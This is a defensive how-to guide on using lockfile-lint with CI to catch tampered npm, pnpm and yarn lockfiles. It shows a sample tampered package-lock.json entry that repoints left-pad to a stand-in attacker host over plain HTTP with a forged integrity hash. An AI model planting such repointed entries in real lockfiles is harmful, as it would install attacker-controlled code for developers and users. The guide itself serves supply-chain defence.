Back to publishing & release Automate semantic versioning Publish to the npm registry Harden the supply chain

Configuring lockfile-lint for Supply-Chain Safety

A frozen lockfile guarantees you install exactly what the lockfile says — but it never asks whether the lockfile itself is trustworthy. An attacker who can edit your lockfile (a malicious PR, a compromised dependency-update bot) can repoint a familiar package name at their own server over plain HTTP, and a frozen install will fetch it without complaint. lockfile-lint closes that gap by validating every resolved entry against an allowed-hosts list, enforcing HTTPS, and checking integrity hashes before any install runs.

Exact Symptom

The danger is invisible in normal output: a frozen install of a tampered lockfile succeeds silently. The smell is in the lockfile diff itself — a resolved URL that points somewhere it should not:

# package-lock.json (tampered)
"node_modules/left-pad": {
  "version": "1.3.0",
  "resolved": "http://packages.attacker.example/left-pad/-/left-pad-1.3.0.tgz",
  "integrity": "sha512-AAAA...attacker-controlled..."
}

Note two red flags: http:// instead of https://, and a host that is not the registry. Because the attacker also rewrote the integrity hash to match their tarball, npm's own integrity check passes. Without lockfile-lint, CI prints nothing unusual:

added 312 packages, and audited 313 packages in 4s
found 0 vulnerabilities

Root Cause Analysis

Lockfiles record a resolved URL and an integrity hash for every package. The integrity hash only proves the downloaded bytes match what the lockfile expects — if an attacker controls both the resolved URL and the integrity field, the check is self-consistent and passes. Nothing in npm, pnpm, or yarn validates that the host in resolved is a registry you actually trust, or that the scheme is HTTPS. lockfile-lint adds exactly those assertions, blocking resolved-URL tampering and HTTP downgrade attacks at the point of review. It is the integrity layer that complements frozen installs, and a core part of Supply-Chain Security Hardening; the broader discipline of trusting your lockfile is covered in Lockfile Management Strategies.

lockfile-lint validation gates Each resolved entry passes scheme, host, and integrity checks before install proceeds. resolved URL from lockfile https? scheme check host? allowed-hosts integrity? hash present fail: block install pass: install
Any entry that fails the scheme, host, or integrity check blocks the install before a tampered package is fetched.

Resolution & Configuration

Follow these steps to add lockfile-lint as a pre-install gate.

  1. Install it as a dev dependency.

    npm install --save-dev lockfile-lint
  2. Run it against your lockfile with the core validators. Point --path at your lockfile and set --type to match your package manager (npm, pnpm, or yarn).

    npx lockfile-lint \
      --path package-lock.json \
      --type npm \
      --validate-https \
      --allowed-hosts npm \
      --validate-integrity
    • --validate-https rejects any resolved URL that is not HTTPS, blocking HTTP downgrade attacks.
    • --allowed-hosts npm whitelists the public npm registry hostname; every resolved URL must match. The shortcut npm expands to the registry host, so you do not type it literally.
    • --validate-integrity requires a valid integrity field on every entry, rejecting lockfiles with stripped or missing hashes.
  3. Add a private or mirror registry to the allowed hosts. If you publish scoped packages to an internal registry, list its hostname explicitly so legitimate internal resolutions pass:

    npx lockfile-lint \
      --path package-lock.json \
      --type npm \
      --validate-https \
      --allowed-hosts npm npm.internal.yourco.com \
      --validate-integrity
  4. Restrict allowed URL schemes. For yarn lockfiles that may reference git or file protocols, pin the acceptable schemes so an attacker cannot smuggle in a git+ssh or file: entry pointing at hostile code:

    npx lockfile-lint \
      --path yarn.lock \
      --type yarn \
      --allowed-schemes "https:" \
      --allowed-hosts npm yarn \
      --validate-https
  5. Persist the configuration. Add a script so contributors and CI run the identical check, and the flags live in version control rather than in someone's shell history:

    {
      "scripts": {
        "lint:lockfile": "lockfile-lint --path package-lock.json --type npm --validate-https --validate-integrity --allowed-hosts npm npm.internal.yourco.com"
      }
    }

CI Integration & Validation

Run the lint as an early step in the security gate, before the dependency install — the whole point is to refuse the lockfile before fetching anything from it.

# .github/workflows/lockfile-lint.yml
name: Lockfile Lint
on:
  pull_request:
  push:
    branches: [main]

permissions:
  contents: read

jobs:
  lockfile-lint:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: '20'

      # Validate the lockfile BEFORE installing from it
      - name: Lint lockfile
        run: npm run lint:lockfile

      # Only now is it safe to install
      - run: npm ci --ignore-scripts

Validate locally and confirm it actually rejects bad input:

# Should exit 0 on a clean lockfile
npm run lint:lockfile; echo "exit: $?"

# Prove it catches tampering: temporarily downgrade a resolved URL to http
# in a copy and confirm lockfile-lint exits non-zero.

A failing run prints the offending package and the reason:

detected invalid host(s) for package: left-pad
    expected: registry.npmjs.org
    actual:   packages.attacker.example

Prevention & Guardrails

  • Run lockfile-lint before npm ci so a tampered lockfile is rejected before any download.
  • Keep the flag set in a package.json script, not inline in CI, so local and CI runs are identical.
  • Always combine --validate-https with --allowed-hosts; HTTPS alone still permits an attacker-controlled HTTPS host.
  • Include --validate-integrity so lockfiles with stripped hashes are rejected outright.
  • List every legitimate registry (public, private, mirror) in --allowed-hosts; an empty or wrong list produces false failures that erode trust in the gate.
  • Run it on pull requests so a malicious lockfile edit is caught at review time, not after merge.

Frequently Asked Questions

Does lockfile-lint replace npm audit or frozen installs? No — they cover different risks. Frozen installs (npm ci) guarantee the lockfile is used verbatim, npm audit flags known vulnerabilities, and lockfile-lint validates that the lockfile's resolved URLs and integrity fields are trustworthy in the first place. Run all three; lockfile-lint is the one that catches resolved-URL tampering and HTTP downgrades that the others miss.

Why isn't the integrity hash enough on its own? The integrity hash only proves the downloaded bytes match what the lockfile expects. If an attacker rewrites both the resolved URL and the integrity field together, the check is internally consistent and passes. lockfile-lint adds the missing assertion that the host and scheme are ones you trust, which the integrity check never validates.

How do I allow a private registry without weakening the gate? List its exact hostname in --allowed-hosts alongside npm. This permits resolutions to your internal registry while still rejecting any URL pointing at an unknown host. Avoid wildcards; enumerate each trusted host explicitly.

Can I use it with pnpm and yarn lockfiles? Yes. Set --type pnpm or --type yarn to match the lockfile format. For yarn, also use --allowed-schemes to block non-HTTPS protocols like git+ssh: or file: that yarn lockfiles can otherwise contain.

Related

Supply-Chain Security Hardening